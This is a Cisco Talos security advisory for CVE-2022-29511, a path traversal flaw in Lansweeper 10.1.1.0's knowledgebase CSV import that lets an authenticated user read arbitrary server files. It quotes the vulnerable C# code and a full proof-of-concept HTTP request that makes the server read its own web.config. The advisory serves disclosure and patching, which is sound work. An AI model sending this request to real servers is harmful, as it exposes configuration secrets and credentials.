CVE-2022-29511
A directory traversal vulnerability exists in the KnowledgebasePageActions.aspx ImportArticles functionality of Lansweeper lansweeper 10.1.1.0. A specially-crafted HTTP request can lead to arbitrary file read. An attacker can send an HTTP request to trigger this vulnerability.
The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.
Lansweeper lansweeper 10.1.1.0
lansweeper - https://www.lansweeper.com/
9.1 - CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
CWE-22 - Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’)
Lansweeper is an IT Asset Management solution that gathers hardware and software information of computers and other devices on a computer network for management, compliance and audit purposes.
An exploitable directory traversal vulnerability is related with an action: Knowledgebase -> Import Articles
and is located inside the \LS\WS\KnowledgebasePageActions.cs
file.
Let us take a close look at the vulnerable source code :
Line 1 private static void ImportArticles()
Line 2 {
Line 3 General.ValidateCsrf();
Line 4 HttpContext current = HttpContext.Current;
Line 5 string text = "";
Line 6 bool flag = false;
Line 7 HttpPostedFile httpPostedFile = current.Request.Files[0];
Line 8 string text2 = "";
Line 9 List<string[]> list = new List<string[]>();
Line 10 current.Response.Clear();
Line 11 int num = 0;
Line 12 List<int> list2 = new List<int>();
Line 13 Dictionary<int, string> dictionary = new Dictionary<int, string>();
Line 14 List<int> list3 = new List<int>();
Line 15 if (httpPostedFile.ContentLength > 0)
Line 16 {
Line 17 try
Line 18 {
Line 19 if (Path.GetExtension(httpPostedFile.FileName).ToLower() != ".csv")
Line 20 {
Line 21 text2 += "Only file extension .csv allowed.";
Line 22 throw new CustomException(text2);
Line 23 }
Line 24 using (Stream stream = httpPostedFile.InputStream)
Line 25 {
Line 26 list = General.ParseCSV(stream, -1);
Line 27 }
Line 28 string category = list[0][0].ToLower().Trim();
Line 29 string title = list[0][1].ToLower().Trim();
Line 30 string text3 = list[0][2].ToLower().Trim();
Line 31 string file_attachments = list[0][3].ToLower().Trim();
Line 35 if (!(category == "category") || !(title == "title") || !(file_attachments == "attachments") || !(text3 == "text"))
Line 36 {
Line 37 throw new ArgumentException("The CSV-file has a wrong format.");
Line 38 }
Line 39 (...)
Line 40
Line 41 for (int j = 1; j < list.Count; j++)
Line 42 {
Line 43 try
Line 44 {
Line 45 category = list[j][0];
Line 46 title = HtmlSanitizer.SanitizeHtml(list[j][1]);
Line 47 text3 = HtmlSanitizer.SanitizeHtml(list[j][2]);
Line 48 file_attachments = list[j][3];
Line 50 List<string> file_attachments_array = file_attachments.Split(new string[1] { "|" }, StringSplitOptions.RemoveEmptyEntries).ToList();
Line 55 foreach (string file_path in file_attachments_array)
Line 56 {
Line 57 SaveImportFile(file_path, id);
Line 58 }
Line 59
Line 60 (...)
Line 61 private static void SaveImportFile(string filePath, int id)
Line 62 {
Line 63 General.ValidateCsrf();
Line 64 int num = 0;
Line 65 using (FileStream stream = File.OpenRead(filePath))
Line 66 {
Line 67 num = GlobalActions.SaveImage(stream);
Line 68 }
The Import Articles
functionality allows a user to upload a CSV
formatted file with the following entries:
Category,Title,Text,Attachments
Where attachments can contain a path to the file located on the server
, which should be copied and be available through the web interface as an integral part of imported article line 31
.
The lansweeper
web interface suggests that a file pointed in such way should be available to the “Everyone” group on the server. Unfortunately, it is hard to find any privilege drop or privilege check before a pointed file is read.
file_path
is not sanitized, which gives the possibility to an attacker to read any file located on the server lines 55-68
.
REQUEST
POST /Knowledgebase/KnowledgebasePageActions.aspx?action=importarticles HTTP/1.1
Host: 192.168.0.102:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------376375159424554480053455199395
Content-Length: 656
Origin: http://192.168.0.102:81
Connection: close
Referer: http://192.168.0.102:81/Knowledgebase/KnowledgebaseOptions/ImportKnowledgebase.aspx
Cookie: UserSettings=language=1; ASP.NET_SessionId=ke33dhy3jtng0hcwed2fe5av; custauth=username=hacker&userdomain=; __RequestVerificationToken_Lw__=zP2evPOU4gLNF/pF3R1XPsIP7ceImHsHKoqy7GfYwDnIwHnDJKt3r5+0bFTXNS/XpEAiyEFBVT2ekfSLIPgVMULtvi8Ae4qLSYcUO0UH90vcERUKMi72E3I2yEJexWSyNKlA8gcXlfMPYbc0a94Dji44b2cNn4aS0KGOSUQBn/0=
-----------------------------376375159424554480053455199395
Content-Disposition: form-data; name="importFile"; filename="test.csv"
Content-Type: text/csv
Category,Title,Text,Attachments
Lansweeper,SPECIAL2,Some description.,"c:\Program Files (x86)\Lansweeper\Website\web.config"
-----------------------------376375159424554480053455199395
Content-Disposition: form-data; name="__RequestVerificationToken"
WBGmiL05NSOQqPgcOXOfecOQiG9Std6V3tZBBrMAn3AGkU9n5BFgUrwIrtqFgqOCZJmDxAAusQvUTxBcjyuB67bKT2ra2w+zjMjHiP9cac/I2zGI16E9a5zXnIWBm+2TS2ni776KRYyWqd36Km1eqMOMraOXjhdv8hXXuf2PjMU=
-----------------------------376375159424554480053455199395--
RESPONSE
HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Vary: Accept-Encoding
Server: Microsoft-IIS/8.0
x-frame-options: SAMEORIGIN
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Tue, 07 Jun 2022 15:58:27 GMT
Connection: close
Content-Length: 92
{ "error":false, "rowerrors" : [] , "message":"", "success":1, "failure":0, "failedRows":""}
2022-06-27 - Vendor Disclosure
2022-11-29 - Vendor Patch Release
2022-12-01 - Public Release
Discovered by Marcin 'Icewall' Noga of Cisco Talos.